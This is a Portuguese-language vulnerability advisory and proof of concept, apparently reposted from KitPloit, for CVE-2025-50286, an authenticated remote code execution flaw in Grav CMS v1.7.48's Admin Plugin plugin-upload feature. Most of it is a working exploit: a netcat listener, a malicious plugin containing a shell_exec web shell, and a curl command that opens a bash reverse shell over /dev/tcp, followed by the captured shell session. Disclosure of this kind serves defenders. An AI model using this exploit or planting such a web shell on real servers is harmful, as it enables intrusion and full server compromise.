Grav CMS v1.7.48 / Admin Plugin v1.10.48 - RCE Autenticada via Upload de Plugin (CVE-2025-50286)

O Grav CMS v1.7.48 com o Admin Plugin v1.10.48 é vulnerável a Execução Remota de Código (RCE) através da funcionalidade de upload de plugin "Direct Install", permitindo que administradores autenticados executem código PHP arbitrário no servidor.

ID do CVE

CVE-2025-50286

Resumo

• Tipo: Execução Remota de Código Autenticada (RCE)
• Localização: /admin/tools/direct-install (Painel Admin > Ferramentas > Direct Install)
• Impacto: Execução arbitrária de código PHP e possível comprometimento total do sistema
• Autenticação Necessária: Sim (acesso de Administrador)
• Versão Afetada: Grav CMS v1.7.48 / Admin Plugin v1.10.48

Prova de Conceito

1. Prepare um listener:

   root@kitploit:~

   nc -lvnp 4444
   

2. Faça login no Painel Admin do Grav como administrador.

3. Navegue até Tools > Direct Install

4. Faça upload de um ZIP de plugin malicioso (evilplugin.zip) estruturado da seguinte forma:

   root@kitploit:~

   evilplugin/
   ├── evilplugin.php         ← contém: shell_exec($_GET['cmd'])
   └── blueprints.yaml        ← blueprint mínimo para passar na validação
   

5. Acione a reverse shell:

   root@kitploit:~

   curl --get --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/host.docker.internal/4444 0>&1'" http://<target>/
   

6. Reverse shell recebida:

   root@kitploit:~

   $ nc -lvnp 4444
   Listening on 0.0.0.0 4444
   Connection received on <target-ip>
   www-data@target:/var/www/html$ whoami
   www-data
   

Componente Afetado

• Endpoint: /admin/tools/direct-install
• Funcionalidade: Upload de plugin e carregamento automático sem validação

Testado em

• Debian 11
• Apache2 + PHP 7.4
• Grav CMS v1.7.48 (com Admin Plugin v1.10.48)

Descoberto por

@binneko

Referências

• Grav CMS GitHub
• Registro CVE - CVE-2025-50286

Aviso Legal

Para fins educacionais e de defesa apenas.